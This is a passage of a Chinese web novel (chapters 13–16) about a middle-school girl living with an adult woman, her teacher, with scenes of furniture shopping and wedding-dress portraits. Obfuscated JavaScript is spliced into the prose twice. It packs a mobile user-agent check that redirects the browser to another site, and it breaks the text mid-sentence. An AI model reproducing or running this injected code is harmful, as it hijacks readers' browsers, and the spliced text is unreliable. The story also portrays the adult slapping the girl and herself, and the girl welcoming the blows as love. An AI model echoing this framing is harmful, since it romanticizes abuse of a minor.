余杭清四处闲逛,就像喻衍说的那样,餐厅也简单,就在客厅旁边,房子不大,就是个简单的两室一厅,所谓的餐厅也不过是一块实木桌子,两把椅子,摆在刚出厨房的隔断旁边。 厨房里有很多烹饪工具,电视上的烤箱,家里有的煤气灶,电磁炉,还有电饭煲。 诗意特别的在于旁边,有一个很大的实木橱柜玻璃门的能清楚的看到里面漂亮的厨具。 各种颜色都是那种清清浅浅漂漂亮亮的,过了很多年余杭清才知道这样的配色叫马卡龙色系,当时年纪轻,也不懂这些,只觉得好看明媚,如同喻衍这个人一般叫人一瞧就好心情。 至于余杭清那间就空荡荡的,什么也没摆,等着她自己去选,去贴近。 要她自己说,还不如不选,直接往后一仰倒,躺到姐姐的怀里,反正床那样大,分她一半也还有地。 可自己能不要个人空间,姐姐也能不要吗? 她只好看着女人往那条红色长裙外加了个西装外套,然后把扣子胡乱扣起来,牵着她的手出了门儿。 13. 第 13 章痛她所痛 余杭清有了一席之地,一个可以自己决定如何装修的房间。一个难过时的避风港。 尽管她总倾向于和喻衍挤同一张床。 不知道是有意还是无意,她想到了那个一楼的四室一厅,想到了跟妹妹挤在一起的,有时候天花板上会漏水的出租房,想到暗无天日的屋子,开的久了就会被指责费电的灯。 她的宝贝合该得到最好的。 所以毫不意外的。 东边向阳的那个屋子,被喻衍留给了余杭清。 余杭清刚刚进去的时候其实差不多扫了一眼,什么也没有,空荡荡的房只刷了大白墙,地板是那种纯白色,带着大理石纹路的,刚铺好,做了白色的美缝。有股淡淡的甲醛味儿。 还没散干净。 闻的人头晕,就像做梦一样。 家具是喻衍带着余杭清到家具城一样一样挑回来的。她纤长的手,将如梦初醒的余杭清牵了下去,带着她在停车场一辆一辆的找,终于找到了她那辆小车,然后替她遮着车顶,让她坐进去,像是她的专属骑士,晃晃悠悠的轻轻捉着。“跟我走吗?宝贝?” 余杭清红着眼眶点头,杂乱的头发被风吹到嘴里,有些干燥的苦。“跟你。” 家具城很大,于是喻衍不得不开着车进去,一家一家的转,车开的极慢,以便小孩能看得清窗边每个店的牌匾。 那个年代短视频还不发达,于是。只记得当初电视上的广告片。一家总宣传,有大熊猫,好像比较绿色安全。 余杭清看到那个熟悉的图标,就晃晃,姐姐游刃有余开车的那只手,捏着她的粉钻手表摇啊摇。“姐姐,我们去这家。” 姐姐如鱼得水的掉个头,把车停稳,任由着余杭清挂上去的那个吊坠晃呀晃的定住,然后走出去,高跟鞋咯噔咯噔的响。 明明是她的房子,她却好像浑不在意似的。把额前的头发随手往后一抹,就伸出手来。这次倒不像骑士迎接公主,像是催小孩吃饭的妈。“喂,你究竟什么时候下车?还要我请你啊。” 她的脾气总是来的莫名其妙,连嗔怒都显得足够特别,眉毛皱起来,就显得更加平直,让那双眼睛凸显出来,里头有着艳丽灼热的火。 今天嘴唇涂得很红,说话的时候就微微的颤抖,让人忍不住把注意力投过去。 好漂亮…… 女人在前面走,身姿娉婷窈窕。一步一扭,像是刻印勾引似的,左左右右。余杭清就跟在后头,一步一步的跟着。 她迈右脚,她就踢左腿。 亦步亦趋,像是在跳探戈。 等到走到另一个大门口,女人转过身来,怒气冲冲的盯着小孩子,敲敲她的脑袋。有些愤愤的咬着,凶她。“干什么一直跟着我走?!” “不是你喜欢这家我们才来挑家具,你一眼也不看是怎么回事。” “到底喜不喜欢?不喜欢我们就换一家!” “嗷,好痛!”小姑娘装模作样的捂着额角望着她的脸,眼睛里挤出一点楚楚可怜的泪。 “姐姐,你别打我……” 喻衍做任何事情都没什么耐心,唯独这对这个小姑娘,实在抵不住那点儿冷硬。用手轻抚伤处,那地方还肿着,烫着,火辣辣的疼。 于是手指轻抚上去就更加明显。看着小姑娘一下一下的颤,她终究还是妥协了,低下头,小心翼翼的把淤血往开揉“我错了,不该打你。” 这算哪门子的打呢?只是敲了一下,怪她自己皮肉太精细,让姐姐养的都惫懒了。 脑袋上被敲过的地方还在发烫,纤细的手指按在上面一下一下有些微微的酥痒。 余杭清喜欢喻衍这样对待她。 毫不设防式的轻松,自然,想起来就往脑袋上来一下。 能有幸遇见这样一个人,哪怕喻衍打余杭清,骂余杭清,甚至哪怕以后的某一天丢掉她,也值了。 遇见这样一个人,本身就是奖励。 她一个就比得过卢浮宫里所有的珍品。 偏偏喻衍的打骂永远准时落到余杭清身上。比她妈妈还要奇强。 要是有点不服气的翻她个白眼儿,不管她看没看到,那双漂亮的眼睛就立刻在眼尾夹出一个眼刀飞过来,红唇轻启,“怎么,你不愿意?” 怎么会不愿意呢?她是在她打她的时候,甚至恨不得按住她的手背,叫着手在自己脸上多停留一会儿才好。 余杭清永远站在喻衍的阵营里,站在喻衍的保护圈之中。是她最坚定的自己人,完完全全的我方阵营。 她们坚定的信任着彼此,所以不管是怎么样的暴力,都可以浑不在意。 所有的对余杭清来说尖锐的难堪的刺痛的话语说出来,全部都是为了余杭清好。喻衍比余杭清还要在乎她那点破前途。 中等偏上的成绩在这个人面前甚至讲不上平平无奇。尽管两个人都无比在意。 “你这次竟然考到了十多名?!” “你到底有没有认真学习?!” “还有这个卷子,做的时候到底审没审题,你自己看看你选的是什么东西?!” “数学考这么点分,七十二分及格,你跟我说你考六十几?!”女人焦头烂额的揉散自己的长发,等手指拿下来的时候就缠了好几缕。 她实在没忍住,把试卷拍在了桌子上,狠狠余杭清一巴掌。“你知不知道我比你还在乎你那点破成绩?” “你告诉我,如果说我对你没有一点帮助,甚至还让你成绩后退的话,我活在这世界上有什么意义?!” “我当老师是为了你,你现在再看看你自己的成绩!”她似乎是疯魔了,眼泪大颗大颗的往下砸一巴掌一巴掌的扇自己左右开弓,让那双清丽的脸高高肿起。 余杭清没忍住拦腰抱住她,抱着她两个人一起哭得歇斯底里。 那年初二离初三就只有一年了,新的政策是四六分流,十分之四的人去上高中,十分之六的人去上职中。 政策条件还不明朗,再加上余杭青想着冲一把更高一些的州县区的高中。所以就对成绩格外在意。 她握着她的手,不再让她扇自己,把脸凑到她手边上,叫她的巴掌一下下雨。清脆的落在脸侧,她僵着手,她就握着她的手腕自己扇过去,哭着说“对不起。” 余杭清总是装作若无其事一样的,好像不在乎自己的成绩,在班上能排到十几名,也算不错,不至于没有学上,却没想到这个人这么在意。 有人替她在意的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819978|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她就再也没办法装作不在意的样子了。 骗你的,怎么会有人不在意成绩? 大概余杭清本来就是个很贱的人吧。 喻衍那么那么伤心,而余杭清却只觉得爽,爆爽。有人关注着她的成绩因为她一点小小的进步欢欣雀跃,因为她稍稍退后一点,歇斯底里的指责。 许多人羡慕她的父亲母亲,对她的学业几乎毫无要求。甚至连及格都没什么命令。 可偏偏余杭清恨透了这种宽容,凭什么宽容呢?妹妹好像退步一点点都会得到长长的叹息。 喻衍在为了余杭清而哭,在这一刻喻衍没在想别人,喻衍只在乎自己。 甚至于喻衍舍不得对余杭清下重手,在巴掌的落下来之前先是喻衍身上飘过来的香气,余杭清甚至享受着喻衍的靠近。 不痛不痒的,啪的一下,换来的是喻衍将近一个星期的愧疚,喻衍满心满眼的都是余杭清。 更何况不是一下,是好多下,在她握住她的手腕的时候,她就泄了一力,轻轻柔柔抚摸似的一下又一下的从脸上划过去。 余杭清甚至恨不得喻衍天天抽余杭清。 但其实这只是一种美好的幻想,因为她在抽余杭清之前先抽的是她自己,又或者抽余杭清一巴掌之后,下一巴掌就轮到她自己。 于杭清舍不得她抽自己,舍不得,那样温柔白皙的侧脸留下血的印记,甚至泛起一点红色的血丝,她抽自己的时候向来一点也不留力。 嘴角出了血,她们拥抱着坐在沙发上。 余杭清去厨房煮了鸡蛋,剥了壳,小心翼翼的按在她的侧脸上,滚啊滚,蹭啊蹭有些心疼的小口小口的吹着气,“姐姐,你打我吧……” “打我出气。” “怪我太废物,没办法学好习。” 可是女人把披散的卷曲长发用皮筋轻轻扎起,露出那张半肿不肿的脸,然后垂下眸子,琥珀色的眸光里满是愧疚犹豫。 “怪我的,我要是再厉害一点就好了,送你去留学,就不用再这么努力的学数学,天天受委屈……” 怎么什么都是你的错啊? 余杭清哭着投进女人的怀里,闻到熟悉的香气,然后搂着她的脖子,把鼻梁贴在她的侧颈,仿佛狠狠扎进这个人的怀里,才能避开曾经那些像泥潭一样死死拖住余杭清的一切。 她甚至连骂她的话都让她觉得通体顺畅,无比爽利,怎么有这么合自己心意的一个人,每一个字都像在她的心尖上跳舞。 她好像天生就会拿捏自己似的。 打余杭清就更简单了,喻衍舍不得对余杭清下重手,每次靠近都像是享受。她会打她自己。 她们的痛苦总是同步的,甚至她打她自己的时候,余杭清这边都好像有感应。 她在和她一起痛苦。 她真正痛她所痛。 这个意识显现出来的时候,她甚至忍不住,大颗大颗的眼泪砸下去。 境遇相同,才有真正的感同身受。 所有的随之而来的附加着的所有的情绪价值,对余杭清来说比挨打这件事情更重要。 余杭清太喜欢喻衍了。 尽管她总是随手一个爆栗。 好凶残啊,姐姐。 14. 第 14 章她的白马公主 已经被骂了,就不好再低着头跟着她的背影,往前只好回过头去用目光梭寻着家具城。这灯光底下有没有什么家具看得过一眼? 一个漂亮的白色书桌吸引了她的注意,是那种木纹的,准确的说是原木的,上面刷了白色的漆,给她的感觉就像西欧白色的城堡一样,书桌上面柜子的开关的那个合页的门,就像城堡的窗户似的。 下面有可以打开的镜子,那个店里的人说,既可以作为梳妆台。又可以作为书桌,女孩子长大之前和长大之后都能用。 售货员姐姐极有眼色,连忙过来跟她介绍这个东西的功能和木材种类以及吸引小孩子的动画片联名。 喻衍脸上的薄怒散去,她开始敲着这个桌子,指节落在圆木上,敲出闷闷的声响。“你想要这个?那我帮你买回去。” 看小孩很心动,喻衍就定下来了,还蛮贵的,在当时竟然要三千多块。 一块小小的价签贴在柜子背面,余杭清转了又转,才好不容易瞧见,这样跪,她忍不住用眼神金的余光偷觑喻衍的神色。 喻衍不知道小姑娘是为了什么,只看到她好像在看别人眼色似的表情有些惴惴不安。“看什么?装饰我们家,完全很值得好吧,免得等你成年,我还得给你换新的。” 她舍不得这种不安。所以甚至没忍心杀价。 只是为了满足余杭清一个可有可无的童话梦。 所以全款三千八百元。 直到站在收银台前,那张深蓝色的村镇银行的卡在pos机上面刷过去,那次用的pos机是橙色的,卡放上去就显眼。 她想故作懂事的伸出手,牵着姐姐的衣袖,她想说没事的,我们可以换一个就有点太贵了。 可是依然在心里窃喜着偷偷的高兴,她舍得为她花这些钱。“哦。”甚至还有种故作平静的忸怩。 “您这边留下地址,然后稍后我们会派工人给您送上门去。由于您想要我们这边的样品,所以不需要等待订货时间大约两小时过后,您会在家里接到这个书桌。”声音是那种公事公办的柔软。 落到小孩子这边就显得更加温柔,大概是刚开了单,售货员姐姐的声音格外甜,比起刚刚甚至夹细了些,有种腻人的甜美,“怎么样?小朋友开不开心?待会儿就可以在家里看到这个书桌了哦,你姐姐对你真好。” 实际上这算余杭清哪门子的姐姐,余杭清根本认识喻衍都没多久,就登堂入室选上家具了,也不知道以后是哪个妹妹去住。 余杭清忍不住在心里腹诽,想起喻衍曾经提过的那个为了她去当老师的小孩。 可面上余杭清还是笑的乖巧柔软,用手把耳畔的碎发勾勒过去,手肘不经一碰到喻衍的肩,就刚好搂上去。“当然。” 整天甜言蜜语,说的人家心都酸了。要是当真喜欢上喻衍可怎么办。 自从知道女的和女的也可以在一起,余杭清的整个人生都完蛋了。 可是喻衍还陪余杭清去挑了漂亮的单人床。两米长,一米五宽。 像是一对新人,商讨着怎样装饰新房。 喻衍坐在床边的时候,一伸手就能摸到躺在床上余杭清的脸。 小姑娘坐在床上弹了又弹,对床垫的软硬度显然满意到有点失算。“姐姐,这个怎么样?” 小姑娘当真像自己幻想的那样躺过去,在样板床那一边另一边躺下。然后伸起手来十分有把握的被喻衍托住。“我喜欢这个,姐姐。” “长和宽都正正好,我躺在这里,你坐在床沿,我就能毫不费力的牵到你的手,特别有安全感。”琥珀色的眼睛里满是仰慕的亮光。她的喜欢丝毫不曾费力遮掩,可她想展示给的那个人,却怎么也看不见。 喻衍好像有些恶寒似的,抖了抖肩膀又退后去。扎起来的长发甩到一边。“干嘛突然说这么肉麻的话,奇奇怪怪,gay里gay气的。” 余杭清在心里反驳,哪有呢,gay明明是指男同性恋的。 可她心思不纯就显得难免畏缩弹跳式的从床上起来,然后做贼心虚的把弄乱的床铺抖搂平。 自己或许跟gay也没什么两样。 最终那个床也买了,加上床垫花了五千。售货员姐姐笑得见牙不见眼。连介绍都没来得及就出了单。 这种敏感的话题,一旦提起就收不住,可偏偏不是说出来的好时机,只能想方设法的往心里藏匿在藏匿。 余杭清强迫自己的目光移开那双白皙的腿落在床头柜上的相册上面。那样一个相框,如果里头放上喻衍的照片…… 相框还算漂亮也挺大,大概是四十厘米那么宽。见小姑娘的目光流连,喻衍毫不犹豫的拿起来问售货员,“这个相框怎么卖?” 她把相框拿起来,小姑娘的目光就不得不从相框移到她瘦骨伶仃的手腕。凸起的骨节上有一颗痣。是最吸引人的那种病弱。 售货员不知道怎么卖,这只是配件而已,摆在样品上好看的,可今天开了这样大的单子,最终她微笑着把这个相框递给了小姑娘。“送给你吧,可以挂你和姐姐的照片。” 余杭清没想过自己能有资格跟这个人出现在同一张照片,连同框都像是亵渎。 可是喻衍喜欢摸她的头,总用这种方式安抚她,她说。“我有一点想食言,待会买完东西,就带你去拍写真相片。” “相信我,放在相框里一定好看。” 只是小孩子喜欢,她就肯毫不犹豫的付钱,售货员终于意识到了这一点,看向女人伸向另一边的手,云淡风轻似的,手上戴着的那个镶着水钻的铂金戒指格外闪亮。 还是铂金比黄金贵的年头。 售货员更加殷勤地牵着小孩子,几乎是半蹲着,弯着腰,把她领到了最贵的白色原木大立柜面前。 没有一个女人不想拥有这样大的一个衣柜,外头是那种欧式的金色手柄,看起来简约又高级。 特别大一个的白色木头柜子,余杭清很喜欢这种简洁干净的风格,而且跟她的书桌刚好呼应。 这个更贵,要八千块,喻衍付款的时候眼睛都没眨一下,那种从容自然,潇洒自如的风光,映衬在余杭清眼底。 余杭清想,没有一个人会不爱喻衍,像书里写的那种随时随地拿出黑来,三个字,随便刷。 是真正的霸道总裁。 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一个初中女生看男同小说也显得早,不过余杭清总喜欢翻那个人的书架,仔仔细细的瞧一瞧,她在想什么?于是就像打开潘多拉魔盒一样,再也回不去。 真不怪余杭清,快穿文大家都叫一个名字,全都是快穿之什么什么,那作者写的太好了,余杭清刚开始也不知道,都快看完了,男同就男同吧。 反正俩男的谈跟她有什么关系,事不关己,高高挂起。 完完全全的安全感。 再跌宕起伏也只是故事线。 可是这会儿听到这句话就忍不住反思了,那女孩子之间该怎么谈呢?她会同意吗?她会开心吗?她会接受我这份喜欢吗? 大概不会的。 于是只留下那点整懵的心酸,刚发现自己的暗恋就面临着失恋。 初秋的外头很凉,树叶扑簌簌的落下来,像是小姑娘眼底的泪。可她没有流泪,只是心里或许下了一场雨。 这份暗恋,永远,永永远远都只能压在她的心里,哪怕战乱频仍,烽火连天。 外头其实来不了多么难缠的敌人,怎么敢算是敌人呢?她甚至不配有一个合理的身份,站在对方合法丈夫的面前。 他一定运气爆棚,才能意外地感到喻衍毫无来由的嫉妒的咬噬。 喻衍开车一向求稳不求快。所以那辆小轿车稳稳的行驶在路面上,少有颠簸。余杭清终于有时间把目光投掷在女人的身上。 喻衍总喜欢各式各样的衬衫,今天穿了紫色的,看着是纯色,不过衣领的地方绣了朵花。知道的人唯有她与她。 小姑娘亲手绣上去的,于是洗衣服,女人都只能可怜巴巴的手搓,时不时斜过来一眼,骂她。“都怪你,绣什么花,我生怕机洗洗坏了,还得手搓,下回你洗!” 余杭清在心里偷偷的笑笑她这份在意,那样粗的丝线怎么会洗断呢?可是喻衍下意识的竟不忍心,于是她接过那件衣裳放在鼻尖闻了闻又涂了洗衣液上去,小心翼翼的搓。 目光停留在衣领上不动,不知道她们早已到了影像店门口,还是女人下了车,打开她的车门,冷空气灌进来,冻得她一激灵。 15. 第 15 章偏爱生妄喜 下了车,微凉的秋风就带着打着旋儿的落叶,落到余杭清的肩膀。那种有好多角,像火焰一样形状,每个学校里面都有种的法国梧桐叶。看起来一部分枯黄,一部分还绿着青黄不接。 落叶在肩膀上,余杭清怔愣的站在那里。于是喻衍快步踩着高跟鞋走过去,有些着急的替她把肩膀上的落叶拂下去,“这叶子上都是虫,你干嘛愣愣站在那里呀?小黑点你看着不难受啊?” 喻衍明明嫌弃至极,却还是皱着眉头,用手扑索着,把肩膀头上的灰和那点黑点儿,貌似虫的东西拂下去,“我也真是服了你了,今天回去立马把外套扔进洗衣机去洗,不然别想上我的床!”一边数落,秀眉轻拧。絮絮叨叨的。 余杭清像是被施了定身术,整个人冻结在那里,只仰头看着微弯下腰替自己俯下下灰烬的喻衍。 平日里碰见爬过虫的衣裳,恨不得直接丢出去,再也不穿一次,可这衣裳穿到小孩身上,竟然忍着难受,没垫一张纸,就用手弄下去。 这样的偏爱又怎能让人不生出虚妄的喜欢? 肩膀上早已没有小虫子了,可是喻衍还是扑朔着一点一点的拍,显得过犹不及,于是余杭清只好握住纤细的手腕,其实这个时候,她更想把手腕凸起,骨节上的痣靠近嘴唇吻过去。“没有虫子了,姐姐?你看,你已经帮我弄干净了。” 余杭清白皙的手在面前晃了晃,掌纹贴近,有些皱巴巴的柔软,喻衍。才恍然大悟似的,任由着手腕松了力落下去,被小姑娘妥贴的放下来。 这时候小姑娘才看到她微红的眼眶,她竟然被一点虫子几颗虫卵,就吓成这副狼狈的模样。余杭清。不得不握着她的肩膀,连带着整个上半身一起扭转过来,不偏不倚的看向眼睛。“相信我,姐姐,真的没事了。” 竟然沦落到要小孩子安慰的境地。 可是喻衍实在没办法忘记那些虫子钻进衣裳的感觉,会咬出一个个的红斑,有的会肿起来,有的会凹下去,咬的时候只是一点轻微的刺痛,稍微一出汗就蛰得人跑不离。 终日与这样的细微沉痛相伴,多少有点子过犹不及的恐惧。喻衍另一只没怎么动弹的手抬起来,狠狠搓了搓脸颊。把手放到余杭清的头上硬揉了两下,不知道是安慰余杭清还是安慰自己。 “没事了,宝贝,没事了。” 要进去拍照,先得一步一步从台阶走上去,喻衍整个人身体僵硬,脑袋一片空白,还在想关于虫的事情,余杭清只好牵着她的手,一步一步向上,看着她机器猫似的晃动身躯。 牵一步动一下,连抬腿都固定在同一高度,走到最后,一抬脚就要踩空过去。余杭清牵着她的手,又怎么容忍她踩空摔过去,一只手牵着她一只手,另一只手护在腰后,直接嗯从她手肘的部分,整个人扯了一把,往后倒在她的怀里仰过去。 余杭清的声音急切而尖利,“姐姐,你有没有事?”喻衍如梦初醒,往后一靠,被余杭清娇小的身躯砥柱。才向前晃了晃,整个人站直过去。 站直之后就恢复起平常那副从容不迫的样子,踩着高跟鞋噔噔噔走向前台,用手把头发往后一撩,露出那张极富攻击性的脸,“你们这边写真怎么拍?想给我们家小孩拍个个人写真集。” 女接待员回复的很认真。大概这样从事服务业的人总是带有一种极其强大的微笑亲和力,“您孩子现在大概多大呢?我们这里有儿童写真。您可以看一下我们的样片。”于是很厚的一本相册集被推过去。 喻衍低着头没来得及扎紧的碎发就垂落下去,圆润的鼻头像小猫,纤长的手指在相册上点了点,然后找出一个放到余杭清面前。“这个怎么样?感觉挺可爱的,小姑娘就该穿漂亮漂亮的公主裙。” “不怎么样,首先我不喜欢公主裙,其次,我不想一个人拍,我想和你一起,或者把你的照片给我一张,摆在那里就行。”余杭清试图强行让自己的语气平静下来,却还是火冒三丈似的厌恶自己的年纪。 她喜欢上一个大人,可对方把自己当小孩子。 这个时候闺蜜写真的,蜂巢还没有风靡全国,双人写真,比较经典的就是情侣写真。 余杭清一开始没打着这样的主意,可是既然到了这儿,喻衍自然不想空手回去。 高跟鞋的跟儿在地上转了转,她开始跟营业员商量,“这样我们自选服装,然后咱这边动作指导,拍双人照片可以吗?” “个性化定制的话,收费会高一点。”接待员话说的很谨慎,看向对面人的眼睛里有些不解,店里还是模板化的,专业写真更畅销一点,毕竟效果最终呈现也好,相对稳定。 喻衍的手指在相册里点了又点,最终选了三套衣裳出来。一套婚纱,一套民国式的旗袍,还有一套是古代的婚服。“那就这个。我们一人选一套。” 喻衍一向洒脱随意,挑衣服就挑最好看的,反正婚纱在她看来就是白裙子,鱼尾裙中间收腰的部分刚好能衬出她漂亮的腰臀比。 她不在乎这些衣服的寓意,只是这样小县城里最好看,最符合她审美的就摆在这里。 却没想到误打误撞,撞进了小家伙的怀里。黯然的神色消失,余杭清几乎是有些兴奋的跳起来,“姐姐,那我也挑一套婚纱,跟你一起!” 喻衍不明白她刚刚还有些不开心似的愤懑这会又变了脸,可是孩子开心总比不开心强,起码照片拍出来能相对满意,想了想又叮嘱,“是你自己说想跟我一起,不过衣服还是你自己挑,爱穿什么穿什么,没必要非跟我一样。” 喻衍充分尊重小孩的意愿。 可是有意无意的余杭清选了跟喻衍一一对应的款式,甚至连着颜色一起。 喻衍选了鱼尾的婚纱,她就选了喻衍看起来好像有些喜欢的蓬蓬裙。还特意挑了件跟鱼尾处用纱一样的蓬蓬裙。 这条婚纱的上半段镶满了碎钻,更特别的地方在于肩膀和手臂竟然是一件长袖的,只露出胸前一片锁骨而已。刚巧遮住余杭清开始。刚刚发育的胸部,然后扬长避短,像一条特殊的公主裙。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819980|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 偏偏这样明显的心思,有的人榆木疙瘩似的,好像一点儿也看不见,已经兴高采烈的坐到了化妆的地方。等着化妆师大展手笔。还回过头来伸出手往女孩这边招,“不是不喜欢公主裙?” 女孩低着头红着脸,喻衍就默认它是羞于启齿喜欢这样的蓬蓬裙。巧笑倩兮的跟化妆师沟通了妆容,又挑了口红的颜色,就端端正正的坐在你那里,看向镜子里,化妆师忙碌的身影。 婚纱造型简单,只要把头发盘起来就可以,然后带个王冠发簪什么的,套上头纱,就算是万事大吉。 余杭清的目光一眨不眨的落在喻衍身上,看着她海藻般的长发被一点一点用皮筋绑起,编成辫子,盘到头上,又被摆弄成玫瑰的形状放在后脑勺,簪了簪子和花朵上去。 看着她寡淡的唇,涂上胭脂红,自然浅黑的眉毛被染成棕黄色,脸颊涂上两片霞云,散乱的碎发被发胶粘起来整理成八字刘海。 这样仔细的梳妆打扮,看起来就像真的等着成亲。 还没看着她穿婚纱和婚服呢,就自顾自的在这幻想起了跟她成亲。小余杭清的胸,钱像是揣了只兔子,扑腾扑腾的上下跳。心提到了嗓子眼儿,生怕自己这点儿背德的心思,被人瞧得一干二净。 化妆师轻拍她的肩膀,似乎想要唤回她的注意力,又看着她瞧着喻衍一动不动干脆转个方向,站在余杭清目光的正对面帮她完成这份妆容。 余杭清只好随着化妆师的动作左摇右晃,偏偏又不不敢动,只好眼珠子滴溜溜的转。偷偷把目光甩过去。 好漂亮啊。 像贤妻良母似的。 本该是我的妻。 余杭清忙着看对面,化妆师就赶巧给她画上一模一样的妆,给。余杭清儿画的有点成熟老气,偏偏等到画完了,余杭清才瞧见镜子里。 喻衍拧着眉问余杭清,“你觉得怎么样?我感觉画的有点老气。” 余杭清看着镜子里的自己,脑子里却全是些不该有的窃喜,这样的妆容和喻衍如出一辙,哪里老气,多好看呢。 可是喻衍这样说了,她又舍不得反驳,只好握着她的手臂,摇摇晃晃的撒娇,“行了,姐姐,都这么晚了,我觉得还可以。” 喻衍并不强迫她,见她的笑容还算真心,那双琥珀色的艳丽眸子就重新柔和下去,凤眸从轻微眯起,到张开,只用一瞬而已。她握着她的手,热度传递过来,像是安慰,又像是抚恤,“你喜欢就好,总归要挂到你房里。” 当然喜欢了,她都不用照镜子看自己,光是看见面前的喻衍瞧着她,画着精致妆容的脸,就觉得一定要挂上去。 喻衍做好妆发,就蹬着高跟鞋蹬蹬蹬的走进了试衣间。余杭清没跟过去,因为她此刻的心情像极了期待的新郎,她不想提前就拆开破坏这份惊喜。 店员在里头帮她试纱,她就坐在沙发上等,有些呆愣愣的瞧着试衣间被拉上的帘子轻微晃动。想象她在里头做着什么样的动作,如何把那件线条窈窕的鱼尾裙穿进去。 16. 第 16 章算不算情侣写真集 工作人员步履匆匆的布景,一会儿走进来,一会儿走出去,弄出繁杂的声音。可余杭清的目光始终不偏不倚,钉在试衣间拉着的粉色帘子上。 带着最原始的期待心情。 哗啦—— 帘子被拉开,日思夜想的人走了出去。 高跟鞋落在地上,噔噔,噔,像是心跳的鼓点。喻衍一步步走出试衣间,一点点走到了她面前。 余杭清的目光从那双红色漆皮高跟鞋逐渐上移,看到棉布蕾丝遮着沙落在地上,看到她挺翘的臀,看到她纤细的腰肢,丰满的熊,有些肌肉线条感的手臂,然后是微微凸起的锁骨和纤细修长的侧颈。 余杭清终于把目光投向喻衍的脸,刚刚看过的平庸妆容,竟然也觉得特别仙气。她再也没见过比这更漂亮的人了。 她喜欢喻衍,所以她在她的眼中无与伦比。 终于余杭清强行移开目光,就看到喻衍脖子上挂着的硕大水钻,是一条很漂亮的莫桑钻项链。还有手腕上,大概是一个系列,一颗一颗的碎钻连起来,从纤细的手腕垂落下去。有一颗稍大的垂落在手背上,像是紫霞仙子晃动的铃铛。 到了最后余杭清才看到喻衍腰肢上系的那条纤细的腰链,随着她往前走的步伐晃啊晃,一步一响。 喻衍海藻般的长发刚已经盘好,却又被放下来了,落在单薄的脊背上,偏偏喻衍又拨开了头发,露出凸起的蝴蝶骨和光滑的背脊,她竟然毫无防备的展示,甚至向余杭清笑了笑。 “怎么样?我挑了一件露背的,结果这个店员非要我把头发放下,遮起来哪有露出来好看啊?后背都快开到腰了,不拍到岂不是很可惜。”喻衍回了一半的头,让余杭清的目光聚焦在她的侧脸。聚焦她平直的鼻子和下颌线。 好漂亮…… 姐姐…… 余杭清忍不住伸出手触摸她突出的背脊。顺着脖子后头最大的那块骨头一点点摩挲下去,直到。腰窝那里,被喻衍强行握着手腕扔出去,她怒目圆瞪。敲了敲她的额头,强行让她清醒,“别摸了,什么时候不能摸,你都知道晚了,还不赶紧进去换衣服去!” 什么时候不能摸? 余杭清闷闷的在心里偷笑,难道这会儿不摸,回去就可以?可她没敢说出自己这点隐秘的心绪,只是笑着,蹦蹦跳跳的跟着店员走进去。 蓬蓬裙不好穿,得从脚底下穿进去。后头还有一根一根的缎带,要店员仔细拉紧 人总是想在最爱的人面前保持最好看的样子。所以余杭清猛吸一口气。回头看一下店员。带了一些刻意卖萌的央求神情。“拜托帮我拉到最紧……” 不是什么过分的要求,于是店员也帮忙,她也吸气,竟也拿到了还算不错的成绩,似乎一只手就能整个环抱过去。 走出门的时候,就看到外面的喻衍翘着二郎腿,正拿手机回复客户的消息。 有些刻意的,余杭清穿着不合脚的高跟鞋往旁边崴了一下。然后不出意料的看到喻衍有些担忧的眼神,一整个投射过去。 喻衍的二郎腿放下来了,手机也扔到一边。猛地站起来伸出手。第一反应就是把她扶进怀里。“裙子这么长,干嘛非要穿高跟鞋?拍照又看不见。” 把脑袋靠在喻衍的侧颈,余杭清忍不住深吸一口气,闻到熟悉的香甜,然后猛地站直拉开距离,低着头道谢,“没事的姐姐,谢谢你。” 余杭清特意挑了一双十二厘米。带防水台的,几乎是将她一米五几的身高拉到了一米六七。她不想在喜欢人的面前显得太矮,像没用的小孩子。 虽然余杭清就是没用的小孩子。 这边她们衣裳鞋子换好那边布景也就差不多完毕。 她们携手,余杭清几乎是被喻衍半搀着拖过去,嘴上说着嫌弃。实际还是一只手牵着,一只手在后面半拖半抱的,生怕余杭清一下不小心摔过去。 执子之手,与子偕老。 余杭清在心里悄悄做着这个美梦。 谁也不曾知晓,亦不曾打扰。 穿着婚纱,那么动作指导自然是婚纱照,于是余杭清学着那些婚纱照上丈夫对待妻子的态度对待自己暗恋的人。 先是最经典的新娘挽住新郎的手臂,头微靠肩头,小鸟依人。 两个很大的方块灯斜着摆,一下子动作就无所遁形,喻衍站在那里,余杭清就拎着裙子冲过去。 挽住喻衍纤细的手臂,还要防止手臂上裙子的碎钻硌着喻衍,微微翘起,余杭清把头靠在她的肩头上,用柔软的碎发蹭她的锁骨,有种隐秘的亲近。 余杭清后退一步,跟不知所以的喻衍深情对视,她凝视着喻衍的侧脸,喻衍把一边头发全部收到一边去,露出裸露的背脊。 余杭清的眼中满是深沉依恋,她恨不得直接拥上去,而喻衍的眼里满是对自己肩背线条的欣赏和骄傲,不曾回头。自然也就不曾看到藏在深处的情愫。 布置好的餐桌上放着假花,是那种颜色很浅,却又五颜六色的小野花,在那种白色圆盘状的欧式台面上。 喻衍跟着摄影师的动作坐过去。把手肘撑在桌面上,脸被花遮住一半,露出来一半。 